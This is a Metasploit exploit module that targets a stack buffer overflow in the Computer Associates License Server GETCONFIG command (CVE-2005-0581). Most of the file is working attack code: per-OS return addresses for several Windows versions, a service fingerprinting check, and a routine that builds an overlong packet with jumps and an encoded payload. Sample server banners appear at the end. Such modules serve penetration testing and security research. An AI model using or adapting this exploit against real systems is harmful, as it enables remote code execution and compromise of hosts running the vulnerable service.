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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name' => 'Computer Associates License Server GETCONFIG Overflow',
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      'Description'	=> %q{
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          This module exploits an vulnerability in the CA License Server
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        network service. By sending an excessively long GETCONFIG
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        packet the stack may be overwritten.
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      },
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      'Author' =>
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        [
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          'hdm', # original msf v2 module
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          'aushack', # msf v3 port :)
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        ],
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      'License' => MSF_LICENSE,
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      'References'	=>
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        [
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          [ 'CVE', '2005-0581' ],
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          [ 'OSVDB', '14389' ],
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          [ 'BID', '12705' ],
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          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=213' ],
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        ],
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      'Privileged' => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload' =>
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        {
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          'Space'	=> 600,
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          'BadChars' => "\x00\x20",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'	=> 'win',
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      'Targets' =>
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        [
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          # As much as I would like to return back to the DLL or EXE,
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          # all of those modules have a leading NULL in the
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          # loaded @ address :(
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          # name, jmp esi, writable, jmp edi
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          #['Automatic', {} ],
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          #
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          # aushack - tested OK Windows XP English SP0-1 only 20100214
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          ['Windows 2000 English',	{ 'Rets' => [ 0x750217ae, 0x7ffde0cc, 0x75021421 ] } ], # ws2help.dll esi + peb + edi
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          ['Windows XP English SP0-1',	{ 'Rets' => [ 0x71aa16e5, 0x7ffde0cc, 0x71aa19e8 ] } ], # ws2help.dll esi + peb + edi
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          ['Windows XP English SP2',	{ 'Rets' => [ 0x71aa1b22, 0x71aa5001, 0x71aa1e08 ] } ], # ws2help.dll esi + .data + edi
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          ['Windows 2003 English SP0',	{ 'Rets' => [ 0x71bf175f, 0x7ffde0cc, 0x71bf1a2c ] } ], # ws2help.dll esi + peb + edi
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        ],
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      'DisclosureDate' => '2005-03-02'))
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    register_options(
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      [
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        Opt::RPORT(10202),
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      ])
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  end
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  def check
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    connect
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    banner = sock.get_once
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    sock.put("A0 GETCONFIG SELF 0<EOM>")
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    res = sock.get_once || ''
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    disconnect
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    if (res =~ /OS\<([^\>]+)/)
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      vprint_status("CA License Server reports OS: #{$1}")
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    banner = sock.get_once
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    if (banner !~ /GETCONFIG/)
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      print_status("The server did not return the expected greeting!")
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    end
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    # exploits two different versions at once >:-)
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    # 144 -> return address of esi points to string middle
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    # 196 -> return address of edi points to string beginning
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    # 148 -> avoid exception by patching with writable address
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    # 928 -> seh handler (not useful under XP SP2)
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    buff = rand_text_alphanumeric(900)
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    buff[142, 2] = Rex::Arch::X86.jmp_short(8) 		# jmp over addresses
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    buff[144, 4] = [target['Rets'][0]].pack('V') 		# jmp esi
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    buff[148, 4] = [target['Rets'][1]].pack('V')		# writable address
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    buff[194, 2] = Rex::Arch::X86.jmp_short(4)		# jmp over address
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    buff[196, 4] = [target['Rets'][2]].pack('V')		# jmp edi
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    buff[272, payload.encoded.length] = payload.encoded
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    sploit = "A0 GETCONFIG SELF #{buff}<EOM>"
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    sock.put(sploit)
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    handler
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    disconnect
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  end
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end
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=begin
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eTrust: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.2>OLFFILE<0 0 0>SERVER<RMT>VERSION<0 1.61.0>NETWORK<192.168.3.22 unknown 255.255.255.0>MACHINE<PC_686_1_2084>CHECKSUMS<0 0 0 0 0 0 0 00 0 0 0>RMTV<1.3.1><EOM>
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BrightStor: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.54.0>NETWORK<11.11.11.111 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>
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lic98rmt.exe v0.1.0.15: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.61.0>NETWORK<192.168.139.128 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>
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=end
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